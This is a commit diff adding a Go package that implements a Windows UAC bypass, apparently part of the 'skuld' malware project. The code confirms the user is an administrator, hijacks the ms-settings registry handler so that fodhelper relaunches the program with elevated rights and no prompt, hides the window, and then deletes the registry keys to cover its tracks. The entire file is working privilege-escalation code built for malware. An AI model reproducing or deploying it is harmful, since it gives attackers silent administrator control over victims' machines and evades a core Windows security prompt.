initial commit
This commit is contained in:
@@ -0,0 +1,96 @@
|
||||
package uacbypass
|
||||
|
||||
import (
|
||||
"github.com/hackirby/skuld/utils/program"
|
||||
"os"
|
||||
"os/exec"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows/registry"
|
||||
)
|
||||
|
||||
func CanElevate() bool {
|
||||
var infoPointer uintptr
|
||||
|
||||
syscall.NewLazyDLL("netapi32.dll").NewProc("NetUserGetInfo").Call(
|
||||
0,
|
||||
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(os.Getenv("USERNAME")))),
|
||||
1,
|
||||
uintptr(unsafe.Pointer(&infoPointer)),
|
||||
)
|
||||
|
||||
defer syscall.NewLazyDLL("netapi32.dll").NewProc("NetApiBufferFree").Call(infoPointer)
|
||||
|
||||
type user struct {
|
||||
Username *uint16
|
||||
Password *uint16
|
||||
PasswordAge uint32
|
||||
Priv uint32
|
||||
HomeDir *uint16
|
||||
Comment *uint16
|
||||
Flags uint32
|
||||
ScriptPath *uint16
|
||||
}
|
||||
|
||||
info := (*user)(unsafe.Pointer(infoPointer))
|
||||
|
||||
return info.Priv == 2
|
||||
}
|
||||
|
||||
func Elevate() error {
|
||||
k, _, err := registry.CreateKey(registry.CURRENT_USER,
|
||||
"Software\\Classes\\ms-settings\\shell\\open\\command", registry.ALL_ACCESS)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
defer k.Close()
|
||||
|
||||
value, err := os.Executable()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if err = k.SetStringValue("", value); err != nil {
|
||||
return err
|
||||
}
|
||||
if err = k.SetStringValue("DelegateExecute", ""); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
cmd := exec.Command("cmd.exe", "/C", "fodhelper")
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||
err = cmd.Run()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
err = k.DeleteValue("")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
err = k.DeleteValue("DelegateExecute")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func Run() {
|
||||
if program.IsElevated() {
|
||||
return
|
||||
}
|
||||
|
||||
if !CanElevate() {
|
||||
return
|
||||
}
|
||||
|
||||
if err := Elevate(); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
os.Exit(0)
|
||||
}
|
||||
Reference in New Issue
Block a user